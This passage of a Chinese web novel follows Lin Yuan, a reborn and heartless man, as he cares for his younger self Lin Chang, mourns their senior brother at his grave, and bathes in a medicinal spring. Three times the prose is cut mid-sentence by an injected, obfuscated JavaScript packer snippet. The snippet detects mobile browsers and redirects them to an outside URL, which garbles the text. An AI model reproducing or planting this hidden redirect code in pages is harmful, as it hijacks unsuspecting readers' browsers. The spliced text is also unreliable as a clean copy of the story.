魔族从何而来,出逃的方向,又在哪里。 林渊不相信这些妖族会简单地相信一纸书信,然后漫无目的地逃离。哪怕选择了相信,与其漫无目的,他们更倾向于选择躲在熟悉的地方。 尤其是像酒老板这种隐藏得很好的妖族,几乎没有可能放弃伪装好的人族身份。 可他还是逃了。 所以他们一定有一个目的地。 他们认为安全的地方,到底是哪里。 林渊按了按太阳穴,努力地回想前世今生的蛛丝马迹。 前世他虽然杀过很多妖族,与妖族结下血海深仇,但是并没有听说过这样一个地方,足以供妖族躲避。 怎么会这样,怎么改变了这么多。 到底是哪一步引起的。 “另外半张纸上的字迹能看清一点吗?”林渊忽然问道。 “不能。”林沧的声音响起。 林渊懊恼地咬了一下后槽牙。 林沧余光扫到林渊的神情,忽然心中一晃。 在某些微小的习惯上,他们总是格外的相似。 “无论如何,我必须去一趟魔界入口,检查一下封印。”林沧甩掉头脑中纷乱的思绪,说道。 林渊闻言,张了张嘴,最终没有否定,点了点头。 “也是,去看看也好。”林渊幽幽地说道。 万一不是空穴来风,万一魔界封印真的有所松动…… 首尊现世,生灵涂炭。 那他回来这一趟,真是万死不赎。 林渊自嘲地勾了勾嘴角,忽然感到一阵强烈的头晕,蛛网般密集的疼痛丝丝缕缕地从太阳穴蔓延开来。 “明日,是师兄的头七。”林沧的声音响起,似近似远,仿佛隔着一层罩子,听不清晰,“祭奠完师兄,我们就前往魔界。” “好,都听你的。”林渊说着,勉强伸出手指,抓住了林沧的衣襟。 血腥气扑面而来,林沧脸色大变。 “抱歉,我可能有点,困了……” 林渊说完,意识骤然断了,一头栽进了林沧的怀里。 14. 头七 “眼睛……” “能复明吗……” “不知原因……” 昏昏沉沉中,林渊好像听到了两个人对话的声音。 “那他现在……” “高热,夜咳,许是受了风寒,加上烟尘刺激,才……” 一只修长的手,轻轻覆在了他的额头上。 林渊打了一个激灵。 那只手立刻收了回去。 过了片刻,同样一只手,却比他的体温还要烫上一些,细致地为他掖好了被角。 “药来了。”铜铃叮铃的声音响起。 那只为他掖被角的手一顿,扶住他的脊背,把他半搂半抱着坐了起来。 脑袋很沉,脖子支撑不住,于是那人又恰到好处地把肩膀送了过来。 林渊靠着那人的肩头,忽然勾了一下唇角。 没想到有生之年,竟能被另一个自己这般温柔以待。 “林沧。”林渊闭着眼睛,沙哑地唤道。 那人微微一顿。 “我在。” “药没用的。”林渊淡淡地笑道。 “先吃再说,别想那么多。”林沧耐心地劝说道。 “苦。”林渊撇嘴。 “良药苦口。”林沧的声音终于带了一丝恼意,盛着药汤的勺子抵在了林渊的唇边。 “活着已经够苦了。”林渊轻飘飘地叹了口气,在林沧骤然僵硬的动作下,微微一笑,“开玩笑的,活着多好。” 林渊说完,低头就着林沧抬起的手,喝下了那一勺药。 “所以啊,林沧,你这么健康,一定不要愧对于你的身体。”迷蒙之中,思维不受控制地发散,林渊舔了舔唇角苦涩的药汤,却弯起了眼角,仿佛喝的是什么琼浆玉露,“记住了,一定要……好好待自己。” “……你在说什么胡话。”半晌之后,林沧难得带上了一丝狼狈的声音响起。 “你的每一寸身体,都拼了命想让你活下去,不要对不起自己的身体。”林渊声音发飘,沙哑的声音很低,呢喃仿似梦呓。 至少在那一刻到来之前,好好待自己。 这个道理,直到他亲手取出心脏,看着它仍在不甘地跳动,才忽然明白的。 不想,林沧步他的后尘。 林沧控制着喂药的力度,然而越努力,手指却越稳不住勺子,险些洒出几滴。 这个人到底在说什么,他怎么知道,不,不可能,他不可能知道自己要走的那条路。 他的确不爱惜身体,有什么好爱惜的,反正都要赴死,反正迟早都要赴死…… 林沧忽然感到了巨大的愧疚感,不知何起。 他甚至想抓住林渊的肩膀好好问一问,他刚刚那些话到底是什么意思。 如果结局注定是悲剧,那过程有什么意义,还谈什么爱自己。 林渊却已经睡着了。 高热的红晕铺满他的脸庞,眉毛无意识地拧着,眼底乌青,嘴唇干裂,洇出了点点血丝。 林沧的理智骤然回笼。 跟病人较什么真。 “我照顾他吧,等他醒了,喂他喝药。” 林沧抬头,看向床边站着的和蔼老人。 “放心,我有经验。”老人温和地笑笑,“虽然我没有灵力,没法像你那样加热手掌,但也会提前焐热的,你不必担心。” 焐热手掌,明明是一个微不足道的小事,却莫名让林沧放下了心。 “多谢钟神医。”林沧缓缓把林渊放回了床上,为他整理好被子,站起身来。 “没事,你放心去吧。”钟怀仁冲林沧点了点头。 掌心的热度逐渐散去,林沧望向窗外,晨光熹微。 他守了林渊一夜。 此刻已经破晓。 今天,是师兄的头七。 - 林渊醒来的时候,已经是下午了。 午后的暖阳洒在脸上,林渊眯着眼睛,转动沉重的脑袋,开始打量四周。 视野恢复了许多,虽然仍然浮动着黑雾,但至少能看清大致的轮廓。 好像是一间客栈。 空气中弥漫着药香,红木桌子上放着半碗药汤,桌边趴着一个少年,腕上系着红绳铜铃。 是钟怀仁的学徒。 医馆已被烧毁,所以钟怀仁和他的两个学徒,暂时住在客栈。 林渊的记忆逐渐复苏,昨天在酒老板的家中,他突然昏了过去。 应是林沧把他背回竹白镇,找到钟怀仁,迷迷糊糊间,林沧还喂他喝过一次药。 喝药的时候,他神志不清,好像说了什么,惹得林沧有些不悦。 可惜现在已经记不起来了。 林渊的推断大致不差,但是错了一点。 林沧带他回来时,不是用背的。 是抱。 酒老板的酒屋和竹白镇距离很远,林沧却只用了不到半个夜晚。 夜深人静,青年赶到竹白镇,找到钟怀仁所在的客栈,猛地推开了钟怀仁的房门。 “救他。”林沧哑声说道,“什么报酬,都可以。” 青年呼吸急促,形容狼狈。夜风把他的发丝吹得凌乱,墨黑的发丝沾在汗湿的侧脸,可他怀中的那人却被强大的灵力包围,直到钟怀仁披上外袍,答应给林渊把脉,林沧才收回了灵力。 “他是你的兄长?”钟怀仁忍不住多问了一嘴。 林沧闻言微顿,黑眸中涌起一片复杂的柔软。 “他是……” 他是累赘。 林渊躺在床上,忽然想道。 不能继续躺下去了,再这样下去,还怎么跟林沧去魔界。 脑袋沉得像灌了铅,林渊撑着床沿,勉强坐了起来。 他本想趁学徒睡着,溜出去找到林沧,可惜床板不配合,随着他的动作,发出了一道刺耳的“吱嘎”声。 学徒猛地惊起,抬起了脑袋。 “你醒了?”学徒又惊又喜,端起药碗,“你等一下,我去给你热药!” 林渊闻言,眼珠一转,点了点头,笑眯眯地说了声“多谢”。 “师父吃饭去了,快躺下,我马上叫师父过来给你把脉!”学徒刚迈出房门,忽然回头,大声叮嘱道。 “好。”林渊准备穿鞋的脚一顿,不着痕迹地收回脚,在学徒催促的眼神中,乖乖躺回了床上。 学徒体贴地为他关紧了门。 然而学徒前脚刚走,林渊立刻坐了起来。 由于动作过大,头脑传来一阵眩晕。 “怎么好像越来越严重了。” 林渊嘟囔了一句,按了按疼痛欲裂的太阳穴,披上外衫,扶着墙壁,缓缓走到门边,把耳朵贴到了门上。 一片静寂。 很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810385|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,看来已经走远了。 林渊松了口气,推开房门,光明正大地离开了客栈。 片刻之后,钟怀仁跟着热好药的学徒,急匆匆走进房间。 看到空荡荡的床铺,两人同时呆住了。 “刚刚,刚刚还在这里的啊……”学徒喃喃道。 - 林渊不知道钟怀仁心中产生了多大的负罪感,此刻的他,正缓慢地向霍君生的墓挪去。 林沧应该在那边。 林渊再次高估了自己的身体状况,如今的他,几乎走几步就要停下来休息一会。 可他也不敢太过逞强,万一再陷入昏迷,林沧还不知道要怎么担心。 于是林渊走走停停,过了许久,终于来到了霍君生的墓地。 方方正正的墓碑,碑前摆着一个精致小巧的香炉,几根香烛端正地插在香炉之中,玲珑的香炉上雕着灵族的彩绘。 也不知林沧从哪找来的灵界的香炉,连林渊都已经很久没见过灵界的东西了。 香烛安静地燃烧着,光可鉴人的银盘中盛着霍君生爱吃的各色糕点。 林沧却不在附近。 林渊没有急着去找林沧,而是垂下眼帘,在半人高的碑前站定,深深作了一揖。 “师兄,我来看你了。” 林渊低声说道。 “趁他不在,正好偷偷跟你说几句话。其实,我也是小沧子啊,师兄,你惊不惊讶。” “上次在茶楼,很抱歉,我隐瞒了身份。” “但那句话,是真的。师兄,我一直很想你。” “曾经的那个我应该已经跟你说了不少话吧,不过有些话,我知道他肯定不好意思说……” “那我索性替他说了吧,连带着我的那一份。” “师兄,你是林沧最好的朋友。你和师娘,都是林沧最重要的家人。” “师兄,不瞒你说,小沧子活不了几年啦,很快就会去找你们的。” “你的事情,我真的很抱歉……到时候,我绝对打不还手,骂不还口。” “但是我们一家人,你、我,还有师娘,我们再也不要分开了,好吗。” 林渊说着说着忽然笑了,却又抬手抹了抹眼角。 指尖沾上了一抹红色。 眼前的黑雾也隐隐泛着暗红的色泽。 林渊后知后觉地发现,不知何时开始,他的视野里血雾悄然降下,已然笼罩了暗淡的世界。 林渊愣了一下,眨了眨眼睛,确认黑雾真的变红之后,忽然想到了什么,唇角上扬,竟显得有些愉悦。 “师兄,说来惭愧,我是为了救赎自己才回来的。灵族失去心脏,本不该活下来,这一切,都因为我濒死时许的那个‘愿’。师兄,你说,如今我的身体每况愈下……是不是意味着,我就要成功了啊。” 失明也好,昏迷也罢,他的身体好像的确越来越差了。没有道理地每况愈下,仿佛随时就要枯竭。 但是,如果这能证明他的确在救赎林沧,他的“愿”正在逐步实现的话…… 那么,等林沧不再感到绝望,能够好好地活过这几年的时候,他就会立刻死掉吧。 想通这件事后,林渊忽然弯起了眼睛。 “太好了。” 林渊轻轻摸了摸霍君生的墓碑。 “看来这个愿望,也没有想象中那般难。” 15. 想亲 血雾笼罩的世界中,遥遥掠过一抹白。 林渊抬起手掌,遮住对他来说过于刺眼的阳光,向远处望去。 是阿白。 林沧在那边。 “那,师兄,我走了啊。”林渊露出一个浅淡的笑容,忽然低头,双手缠扣于额前,微微弓腰,以灵族的礼节,向墓碑行了一个大礼。 回应他的,是袅袅升起的烛烟。 林渊不再流连,慢慢转身,一步步向林沧的方向走去。 那里应当是一片绿意盎然的原野。 可在林渊眼中,血雾笼罩之下,鲜绿的草丝泛着浑浊的灰,透着沉沉的死意。 草尖瘦密。 林渊踏过原野,找到了林沧。 青年躺在地上,曲起一条长腿,手肘盖在眼上,阳光洒在他线条明晰的下颌,投落一小片浅淡的影子。 林渊停在了林沧身前。 “眼睛好了?”林沧拿开手肘,看向林渊,却仍是躺着,没有起身。 “嗯,好多了。”林渊蹲下身子,笑眯眯地说道,“虽是春末,但地上寒凉,小心风寒。” “小心风寒的是你,偷跑出来的吧,钟神医答应过我好好照看你。”林沧瞥了林渊一眼,说道。 “真是什么都瞒不过你。”林渊无奈地摊手,叹了口气。 “什么都瞒不过我?”林沧突然意味不明地笑了一声,重新把手肘盖在眼上,声音不知为何有点闷,“今天不想跟你吵,让我一个人待一会。” “有什么心事吗?”林渊托着下巴,饶有兴趣地追问。 “……”林沧没有回答,下颌线绷得很紧。 “之前说好的,你都答允了,不许隐瞒。”林渊的声音带上了一丝委屈。 林沧一顿,丢开遮住光线的手臂,果不其然对上了林渊毫无委屈、甚至透着一抹得逞意味的笑眼。 “一个人跑出这么远,你的病好得倒快。”林沧恶狠狠地瞪着林渊,“没错,我是答允过你。好,我说,只有躺在这里,有风,有光,才能勉强感到一丝活人气。” 林沧破罐子破摔地说完,根本没指望林渊能够理解他没头没尾的话,重重翻了个身,背对着林渊,狠狠闭上了眼睛。 林渊没有回答,林沧忽然有些后悔刚刚的口不择言,然而还没来得及压下心中乱七八糟的烦乱,背后忽然传来了窸窸窣窣的声音,林沧蹙起眉头,竖起耳朵也没听懂林渊在搞什么名堂。 片刻之后,青草的味道骤然靠近。 林沧唰地睁开眼睛,没料到林渊竟会给他突袭,俊雅男子笑眼弯弯,丢掉了所有的雅致风度,沾满青草汁的手出奇地迅捷,一巴掌贴在了他的脸上。 所以刚刚的窸窸窣窣…… 是林渊在搓草汁儿?! 林沧脑中一片空白,思维停滞,林渊趁机掰过林沧的脸颊,把满手的草汁悉数抹在了林沧脸上。 清新微苦的草香萦绕鼻尖,林沧忽然从呆滞中回过神来,一把攥住了林渊作乱的手指。 “你,你……” 林沧发现自己失去了语言能力。 “早就想说了,活人气不是那样感受的。”林渊顺势把指尖的草屑擦在林沧掌心,漫不经心地开口说道,“一个人躺在土里胡思乱想,这算什么感受活人气。” 感受死气还差不多。 林渊撇了撇嘴。 “那你这是……!” 林沧重重抹了一把脸,看着掌心墨绿色的草汁,太阳穴突突直跳。 “带你感受活人气呀。”林渊满脸得逞,笑得眼睛快要看不见了。 活人气。 活人来气是吧。 林沧看着林渊欠揍至极的笑容,之前那些纷繁复杂的想法和情绪陡然消失,随手抓起几根野草,掌心灵力一闪而过,野草化为浓郁的草汁,林沧冷笑一声,抓住林渊的肩头,狠狠地把草汁向他的颈间抹去。 “哎,不准使用灵力!”林渊脖颈一凉,却全然无法反抗,只能任由林沧在他的颈间作乱,余光瞥见林沧乱七八糟印着草汁的脸,忍不住又笑了起来。 “不用灵力,你就是我的对手了?”听到林渊肆无忌惮的笑声,林沧恼羞成怒,按着林渊肩头的手指用力,把他重重压在了地上。 “好了好了,我输了。”林渊象征性地掰了掰林沧的手腕。 林沧“啧”了一声,刚想起身,膝盖却忽然碰到了林渊的大腿。 林沧一愣,后知后觉地发现,他们此刻的姿势着实有点…… 暧昧。 林渊躺在地上,而他一手按着他的肩膀,一手握着他的脖颈,整个人几乎贴在了林渊的身上。 安静下来的瞬间,触感几乎是骤然变得鲜明起来。 指尖是温热的脖颈,隐隐能感受到血脉涌动,而他的掌心正下方,突出的喉结轻颤。 日光温煦,洒在林渊俊雅的眉眼上,恰到好处的眉毛下面,鸦青色的眼睛弯弯,如同深潭,流连着他的影子。 而他的背后,碧空如洗,苍茫万里。 也都悉数收进了林渊的眼底。 林沧放轻了呼吸。 “林沧,弄脏的衣服你洗。” 散漫的声音响起,明明脆弱的脖颈掌握在林沧的手心,林渊却浑身放松,说着微不足道的小事。 “没问题。”林沧随口答应,深深地看进林渊的眼眸,握着林渊脖颈的手指上移,抚上了林渊的侧脸。 【想吻他。】 林沧闭上眼睛,缓缓低头。 与那两片薄唇越来越近。 抚着林渊侧脸的手指绷紧。 一双手忽然横亘过来,林沧的唇触碰到了林渊的手背。 鸦青色的眼眸眨了眨,飞快地掠过一丝惊讶与不解。 “玩笑……要有度。” 林沧睁开眼睛,听到林渊轻声说道。 ……玩笑……? 林沧愣愣地把林渊的话在脑中过了几遍,确认自己没听错后,才开始咀嚼林渊的用词。 玩笑,要,有度。 怎么可能是玩笑。 林渊不可能不知道他的意思。 所以,这是拒绝? 可是之前…… 之前…… 明明是他先主动的。 林沧脑海中一片混乱,无数与林渊相处的碎片飞舞,一种匪夷所思的想法忽然突破重围,从他的脑海中升起。 第一次见面之时,林渊就毫不犹豫地向他走来。 此前从未见过的两人…… 到底是什么,吸引了林渊的注意。 他知道林渊曾经历过很多,足以冷静地面对生死,总是轻而易举地看穿他人的内心。 可明明是这样一个历尽千帆的红尘看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810386|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客,却偏偏护短得很。 再直白一点,能让林渊在意的,只有他一人。 他没有经历过他所经历的苦难,从未参与过他之前的人生。 他轻视他,驱赶他,把他当狗皮膏药,他却亲近他,纵容他,一次次将他拽出深渊。 所以,他何德何能,从一开始,就得到林渊的青睐。 答案已经呼之欲出了。 唯一的可能,就是林渊在透过他,看向另一个人。 那么所有的一切都能解释得通了—— 为什么一开始就向他走来,为什么毫不掩饰对他的心悦,为什么在一次次“宣誓主权”之后,却不肯真真正正地越过那条线。 因为他很像那个人。 但始终不是那个人。 林渊心知肚明,所以从来无法说服自己……迈过那条线。 林渊不明白。 林渊一点也不明白。 他自诩洞察人心,现在却连过去的自己都看不明白了。 刚刚林沧怎么就,忽然想亲他了。 等等,是想亲他吧。 有没有可能是他误会了。 可是他闭上眼睛了诶。 怎么看都是想亲他吧! 林渊很少这么频繁地腹诽了,回到林沧身边以后,向来都是有话说话,从来不藏着掖着。 但是这次……真的有点尴尬了。 林渊吞了吞嗓子,试图看清林沧的表情,但在浓郁的血雾之下,他最多只能辨认出大致的轮廓,再加上刚刚一时脑热用草汁抹了林沧一脸,以至于现在,林渊什么也看不出来。 不如直接问吧,比起猜来猜去,直接询问是最好的方法…… 不,一点也不好,他不想问。 林渊躺在地上,眼神中流露出了淡淡的死意。 能让他如此狼狈的,也许只有他自己吧。 林渊默了一会,忽然又觉得有点好笑,于是放弃探究林沧的内心,弯起眼角,伸手拍了拍林沧的胳膊。 “有点闷,你先起来。” 青年身体一僵,猛地弹了起来,林渊撑着地面,缓缓坐起了身子。 刚刚闹得太过了,脑髓深处传来撕裂般的剧痛,但林渊只是无声地笑了笑,甚至没有像往常那样伸手按一按太阳穴。 林渊缓缓曲起一条腿,单手托着下巴,手肘放在膝盖上,利用微妙的平衡,支撑住了摇摇欲坠的脑袋。 林沧沉浸在纷乱的思绪中,没察觉到任何异样。 林渊忽略眼前弥漫的血雾,抬头看向林沧,笑眯眯地问道,“怎么样,有没有感到活人气?” “……嗯。”青年顿了一下,模糊的声音传来。 “那就好。”林渊掀了一下唇角,笑意却淡了一些。 刚刚青年的声音模糊而遥远,就好像…… 他陷在沉沉的水中,而林沧却在岸边。 虽然做好了逐步死掉的准备,但是如果五感如此不稳,那可真是不便啊。 林渊惆怅地想道,缓慢地起身,忽然又感到一阵强烈的眩晕。 这次摇晃的动作幅度有点大,林沧眼疾手快,扶住林渊,林渊勉力站直身子,头晕目眩,以前从未出现的耳鸣也追了上来。 细微的蜂鸣声中,林渊隐隐听到了一声叹息。 “罢了。” 青年抱起了林渊。 16. 救他 “人医没用,对吧。” 林渊被林沧打横抱在怀里,联想到刚刚林沧想亲他的行为,林渊忽然觉得万分别扭,想让林沧把他放下来,却心有余而力不足,只能象征性地挣扎了一下,却被林沧抱得更紧。 “对,人医没用,但你也不能给我找一个,呃,兽医?”林渊口不择言。 “别动,我不会对你怎样的。”林沧凉凉地说道。 林渊沉默了。 虽然看不清楚,但总感觉林沧心情不太好,而且还是针对他自己的。 过去的自己心思真的很难猜。 刚刚还在师兄的墓前夸下海口,转眼就被过去的自己打了当头一棒,如果师兄的灵魂能够看到的话,肯定会笑岔气吧。 林渊默默叹了口气。 “既然人医没用,就不必回钟神医那边了,我会让阿白捎个信。”林沧说道,“据我所知,通往魔界的路上,有一个天然的药泉,正好顺路,带你过去试试。” 是有那么个药泉。 林渊凭借回忆计算了一下,如果以正常的速度,大概需要一天半的时间…… 林渊的思绪还没转完,忽然脑袋一晕,腾云驾雾,林沧抱着他飞到了半空。 “等等,你怎么能燃烧灵力……” “闭嘴,赶到药泉,顺带沐浴,这副样子不走官道,不想见人。”林沧面无表情地说道。 “其实,那个药泉对我也无用。”林渊无奈道。 “死马当做活马医。”林沧重重瞪了他一眼。 林渊没话说了,弯了弯眼睛,闭上了嘴。 反正顺路,就随他去吧。 前世的他孑然一身,经常去那边沐浴疗伤,如今倒是两个人了。 嗯……其实也是一个人。 风声呼啸,云海奔啼,劲风吹起林沧的墨发,林渊却被强大的灵力笼罩,受不到半分风力侵袭。 看着林沧熟悉的动作,林渊忽然想起他昏过去的那天,从酒老板到竹白镇,应该也是这样过来的吧。 林渊微微感动,最后看了一眼青年锋利的下颌,安心地闭上了眼睛。 然而几乎是一瞬间,便陷入了血雾沉沉的梦里。 - “林渊。” 血淋淋的黑。 “林渊?” 黑漆漆的血。 “林渊!” 林渊猛地惊醒,睁开了眼睛。 背景是浓郁到化不开的猩红,刀裁墨画的眉目映入眼帘。 为了看清青年的表情,林渊眯起了眼睛。 两行温热的液体忽然从脸颊滑落,淌进嘴角,舌尖尝到了腥甜的铁锈味。 浓得化不开的猩红淡了些,林渊勉强看清了青年的神情。 关心,焦急,还有一点恐慌。 “林沧,我没事。”林渊伸指,擦掉眼角淌下的鲜血,安抚道,“还能看清。” “怎么可能没事!师娘,不,灵女的封印,怎么会对你造成这么大的伤害?”青年的声音带着一丝颤抖。 林渊愣了一下,想起那天临时编的谎话,微微笑了笑,说道,“那个啊,暂时死不了……我们到了么?” “我们到了。”林沧一把攥住林渊的手,纯黑的眼眸中盛满了焦灼,“林渊,不要转移话题,告诉我,到底怎样才能救你。” 林渊对上林沧的眼神,忽然感觉被什么击中了。 这样的眼神,这样关切的眼神,他多少年没见过了。 如果他还有心脏的话,那它一定会疯狂地跳动吧。 你看,有人这样关心着你。 他明明不知道他就是你。 “你一定知道的,我要怎样,才能救你。”林沧紧紧握着他的手,一字一顿地重复道。 林渊恍惚感觉胸口鼓起了一阵柔软的温暖,空荡荡的胸腔里仿佛钻进了一个毛茸茸的小兽,代替他的心脏,在里面欢呼雀跃。 真的是双向的吧,这一场救赎。 林渊忽然很想拥抱林沧,于是他便这样做了。 这次,他抱得很紧。 林沧怔怔地站在原地,被那人紧紧拥抱着,耳鬓厮磨,胸口相贴。 他以前从未感受到过林渊的心跳,也曾因此而失落,但此时此刻,他忽然感觉自己的心脏仿佛钻进了林渊的胸腔,与他共振。 恍惚之间有种错觉,他的心脏好像分给了林渊一半。 同享心跳,一起呼吸。 ……永不分离。 “你已经救过我了。”林渊的吐息洒在林沧耳廓,带着高热后残留的热意,激起一片红晕,“你一直在救赎我,难道不是么?” 林沧骤然顿住了。 空气突然变得艰涩起来。 林渊说,他已经……救过他了。 他何曾救过他。 明明一直是林渊在救他。 所以,这个拥抱,其实是给那个人的,对吧。 嘴里一瞬间泛起苦涩,林沧僵硬地站着,几乎不敢回抱林渊。 但是胸腔中,那颗着魔似的心脏,仍在疯了似的狂跳着。 “林渊……”林沧仿佛下定了某种决心,伸出手掌,虚虚地覆在林渊的后腰上,艰难地开口,“我愿意配合你。” 扮演那个人。 他认栽了。告诉他应该怎么做吧。 从此刻起,换他来纵容你。 可惜,林渊什么也没听见。 因为耳鸣。 原本细微的蜂鸣逐渐转化为震耳欲聋的轰鸣,林渊听不到林沧的话语,但能听见胸口相接之处,透过骨骼与皮肉传来的心跳。 熟悉而热烈的心跳。 舍不得离开。 好想一直拥抱下去。 不如等他放手吧。 林渊眯起眼睛,在震耳欲聋的轰鸣声中,安稳地感受着林沧的心跳。 鲜血一颗颗从眼角滑落,滚过下颌,落在林沧的颈窝,蓄起了浅浅的潭。 林渊不知道突如其来加重的症状,大多是因为林沧对他产生了别样的念头,因着那些念头,林沧才有了活下去的欲望。 想要走进他的眼眸。 想要同他一起走下去。 想救他。 想要……代替他心中的那个人。 太多的想要,勾起了林沧“生”的欲望,但却把林渊推向了“死”的边缘。 林渊没想到林沧竟然一直没有推开他。 他们拥抱得有点过于长久了。 “走吧,进药泉。”最后是林渊率先退了一步,松开了林沧。 “嗯。”林沧点了点头,心中掠过一阵说不清失落还是释然的情绪,几乎不敢看林渊的脸。 林渊没有给他任何回答,哪怕是一丁点暗示。 而拥抱之时,他就感到有什么温热的液体,不断地从林渊的脸颊滚落,蓄积于他的颈窝,淌进他的衣襟。 铁锈般的腥味时刻提醒着他,那不是眼泪。 药泉救不了他,林沧认清这个事实,痛苦地咬紧了嘴唇。 如今的林渊已经懒得隐瞒,熟门熟路地摸进了药泉。 林沧没想到连这种地方,林渊竟也来过。药泉四季滚烫,雪白的雾气氤氲,林渊除掉鞋袜,若有所思地坐在泉边,把脚浸在了水里。 他当时怎么编的来着。 不能见……光。 对吧。 林渊偏头,看了一眼天边摇摇欲坠的夕阳,思忖着支开林沧的办法。 他还不是很想穿得整整齐齐泡药泉。 没想到林沧先一步说话了。 “若你不想让我看,我会蒙住眼睛。”林沧语气认真。 读懂林沧的口型后,林渊倒有点不好意思了。 然而林渊还没来得及说话,林沧已经自顾自解开长发,除掉上衣,一头扎进了清澈透明的泉水里。 墨色长发在水中浮沉,林渊放空思维,目光下意识地追随着林沧的身影,意识到自己一眨不眨地盯着人沐浴之后,又唰地收回了眼神。 夕阳沉落,夜幕低垂。 “哗啦”一声,林沧站在了林渊面前。 剔透的水珠从青年脸上滚落,英挺的眉目浸了水,不显狼狈,反倒像是新作的泼墨山水,恣意淋漓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810387|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林渊眨了眨眼睛,两滴鲜血从眼角滚落,掉在了清透的泉水里。 林沧垂眸看着泉水中晕开的血雾,血雾消散的瞬间,林沧捡起长长的玄黑衣带,系在了眼睛上面。 “林渊。”林沧伸出双手。 “来了。”林渊的语气中含着笑意。 衣衫散落,林渊扶着林沧的手臂,走进了泉水里。 林渊一向以为自己并不是一个细致的人,但是此刻,他又有点怀疑。 林沧掬起一捧捧泉水,细细地揉搓着他的发尾,让他有种做梦般的不真实感。 然而林渊还没享受片刻,林沧忽然停住了。 林渊有些疑惑地偏头,却忽然被林沧捉住了手腕。 青年的手有些颤抖,一笔一划戳在他的掌心。 [你听不见?] “嗯,有点耳鸣,不用担心。”林渊安慰道。 林沧骤然收紧了手指。 戳在掌心的指尖变得潦草起来。 [我要救你。] [告诉我。] [你一定知道。] [我怎么救你。] 零零碎碎的字句戳在林渊掌心,林渊不知林沧为何如此笃定,沉吟半晌,略带迟疑地说道。 “要不……你给我传一点灵力?” 林沧忽然长长吐出了一口气,刚刚他竟然不知不觉屏住了呼吸。 是他没料到的答案。 他本来隐约有一个答案的。 灵族的心脏。 通过“心祭”,治好他的顽疾。 林沧不是没怀疑过林渊的目的,接近他,是为了灵族的“心祭”。 可是在刚刚那种情况下,林渊却只是说……试试给他传一点灵力。 林沧忽然想起那天在酒老板家里,他同样对林渊起了怀疑,林渊却说出了“只谈感情,不问事实”的提议。 所以,他接近他,真的只是与故人相像,而已。 如果他的心脏仍属于他,他是愿意为林渊而死的。 只可惜…… 他只有一颗心脏。否则,他宁愿去死两次。 [怎么传?] 林沧深吸一口气,压下纷乱的心绪,在林渊掌心一笔一划地写道。 对于灵族来说,灵力是天生的,不像人族灵修,修炼而来的灵力,终归是外力。 灵族的心脏决定了他们的上限,灵族之所以修炼,只是为了提升熟练运用灵力的能力。 所以林沧不清楚人族修炼灵力的体系,更不清楚林渊此刻的身体状况,能否承受他的灵力。 林沧忽然有些后悔,当年在师门之时,没有看过灵修功法,不知道人族修炼灵力应该从何而起。 是……丹田吗?林沧努力回忆。 与此同时,林渊也陷入了同样的思考。 人族灵修的本源在哪来着。 “……丹田?”林渊不确定地问道。 [好。] 林沧在他的掌心写道。 还好,没有记错。林渊松了一口气。 两人误打误撞想到了一块,但是人族灵修的灵力本源,其实根本不是丹田。 而是百会。 水面澄净,林渊垂下眼帘,找到林沧骨节明晰的修长手指,牵引着林沧,按在了自身丹田的位置。 不知为何,林沧的身体似乎有些僵硬,顺着丹田流入的灵力也热得发烫,林渊有些不适地蹙了蹙眉。 没有走火入魔啊。 因为药泉太热了吗。 然而没过多久,林渊就无法思考了,没有心脏的身体承受不住太多的灵力,以丹田为核心,丝丝缕缕的痛感向四肢百骸传递,细碎的疼痛无处不在,甚至有愈演愈烈的趋势。 没想到有朝一日,竟然承受不住自己的灵力。 林渊自嘲地掀了一下唇角,攥住林沧的手腕,拽开了他的手指。 这一拽无意间用上了林沧传递过来的灵力。 林沧只觉腕上传来一股巨力,惊异之余,林渊带笑的声音在耳边响起。 “很有用呢,你的灵力。” 17. 狐妖 熟悉的灵力。 虽然热度惊人,虽然没有心脏的身体承受不了太多灵力。 但对林渊来说,已经足够了。 耳中的轰鸣消失了,视野也变得清晰起来,不再笼罩着无处不在的血雾。 “你能听见了?!”林沧又惊又喜,几乎想要掀开蒙眼的衣带,但还是硬生生忍住了。 “能听见了,林沧。”林渊笑着说道。 他能听到了。 他的灵力有用。 多久没感到这种鲜活的欣喜了。 心脏剧烈地跃动着,林沧竟然有些恍惚。 他曾经是灵修吗? 还是灵力本就对人族有这种奇迹般的效果? 他这般虚弱而痛苦,是因为师娘刻下的封印灵力不足了吗? 那如果他隔三差五给他输送灵力的话…… 林沧任由自己的思绪乱飞,然后沉默地缓缓收束。 但自始至终,他没有问出一句话。 林渊鲜少提及他的过往,曾经问起,要么得到一个无关痛痒的谎话,要么含糊其辞地揭过。 